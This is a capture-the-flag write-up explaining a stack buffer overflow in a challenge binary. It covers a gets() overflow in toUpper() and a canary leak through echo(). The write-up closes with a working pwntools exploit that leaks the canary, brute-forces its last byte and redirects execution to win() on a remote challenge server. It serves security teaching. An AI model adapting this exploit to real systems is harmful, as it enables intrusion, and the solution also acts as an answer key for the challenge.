Background

Memory corruption vulnerabilities are a critical concern in systems programming, particularly in applications written in low-level languages like C and C++ [6]. One of the most severe classes of these vulnerabilities involves stack buffer overflows, which occur when a program writes more data to a buffer located on the stack than it can hold [7]. This leads to the corruption of adjacent memory, including control-flow elements such as return addresses or stack canaries [1].

In this context, a stack canary is a security mechanism implemented by modern compilers to mitigate buffer overflow attacks [4]. The canary is a known value placed between local variables and control data on the stack. If a buffer overflow modifies this value, the program detects the anomaly and safely aborts execution. However, if an attacker is able to leak or guess the canary value, they can bypass this protection and execute arbitrary code or tamper the control flow of the program.

Another common issue arises from the usage of unsafe standard library functions, such as `gets()` [2], which do not perform bounds checking. This allows attackers to exploit buffer overflows by writing arbitrarily long input into fixed-size buffers, thus gaining control of the program execution.

Mitigating such vulnerabilities involves multiple layers of defense. Secure coding practices, such as avoiding unsafe functions and validating input lengths, compiler-level mitigations (e.g., stack canaries, non-executable stack segments [5], and address space layout randomization [3].) further harden the application against exploitation. Finally, runtime protections and testing (e.g. fuzzing and static analysis) can help find and patch vulnerabilities before deployment.

Vulnerability

The program is vulnerable to a stack-based buffer overflow located in the `toUpper()` function. This function uses the unsafe `gets()` function to read user input into a statically allocated buffer of 64 bytes. However, it does not perform any bounds checking, which allows an attacker to input more than 64 bytes and overwrite adjacent memory regions on the stack, including the stack canary and the saved return address. Furthermore, the program's `echo()` function allows partial leakage of the stack canary due to its use of `read()` and `printf()` without format string constraints. This leakage can be exploited to brute-force the full canary value.

Solution

The goal of the challenge is to invoke the `win()` function, which is only meant to be accessible from the parent process (checked via `getpid()`), which prints the contents of `flag.txt`. However, this function is not directly reachable via any menu option. Additionally, it is protected by a stack canary, which prevents simple buffer overflow attacks.

The `toUpper()` function, which uses `gets()` to read input into a 64-byte buffer without bounds checking, allows an attacker to perform a stack buffer overflow, overwriting the return address on the stack after the 64-byte buffer and the 8-byte stack canary. Firstly, the address of the `win()` function is obtained via `readelf -s | grep win`. Then, the attack involves two steps:

Leaking the stack canary The `echo()` function reads user input using `read()` and prints it back using a length-limited printf. However, it reads up to 72 bytes and prints 79 values, allowing the attacker to partially overflow into the canary and subsequently leak its value through the echoed output.

Crafting a payload With the leaked canary, the attacker can construct a payload to pass through `toUpper()` that fills the 64-byte buffer, preserves the canary value, overwrites the saved base pointer (8 bytes but usually a dummy) and overwrites the return address with the address of the `win()` function.

In order to do this, the last byte of the canary needs to be brute-forced, and this can be done thanks to the child processes created by the forks, that have the same canary value as their parent.

Once one of the child processes correctly enters inside the `win()` function, the correct canary has been found. Now, from the parent process, the same payload is sent as the menu choice (thus overwriting the return value) and the `Exit` command is chosen, making the `main()` return into the `win()` function.

In Listing 1, a python implementation of the solution is found.

```python
from pwn import *

win_addr = 0x4011f6 # From readelf, since no PIE

p = remote('cyberchallenge.disi.unitn.it', 50300)
p.sendlineafter(b'Exit\n', b'1')

payload = b'A' * 72
p.sendlineafter(b'echoed: ', payload)
p.recvline()
p.recvline()

partial_canary = b'\x00' + p.recv(6)
print(len(partial_canary), partial_canary.hex())

for byte in range(256):
    test_canary = partial_canary + bytes([byte])
    test_canary = int.from_bytes(test_canary, 'little')
    print(hex(test_canary))

    #          offset    + canary            + bp       + return address
    payload = b'A' * 72 + p64(test_canary) + b'A' * 8 + p64(win_addr)

    p.sendlineafter(b'Exit\n', b'2')
    p.sendlineafter(b': ', payload)
    p.recvline(); p.recvline()
    res = p.recvline().decode()

    if 'You are not' in res:
        print(f'canary: {hex(test_canary)}')
        p.sendlineafter(b'Exit\n', payload)
        p.sendlineafter(b'Exit\n', b'3')
        print(p.recvline().decode())
        break
```

Listing 1: Solution code

References

[1] CWE. CWE 119. https://cwe.mitre.org/data/definitions/119.html.

[2] Man. Gets. https://www.man7.org/linux/man-pages/man3/gets.3.html.

[3] Wikipedia. Address Space Layout Randomization. https://en.wikipedia.org/wiki/Address_space_layout_randomization.

[4] Wikipedia. Canaries. https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries.

[5] Wikipedia. Executable space protection. https://en.wikipedia.org/wiki/Executable-space_protection.

[6] Wikipedia. Memory Corruption. https://en.wikipedia.org/wiki/Memory_corruption.

[7] Wikipedia. Stack Buffer Overflow. https://en.wikipedia.org/wiki/Stack_buffer_overflow.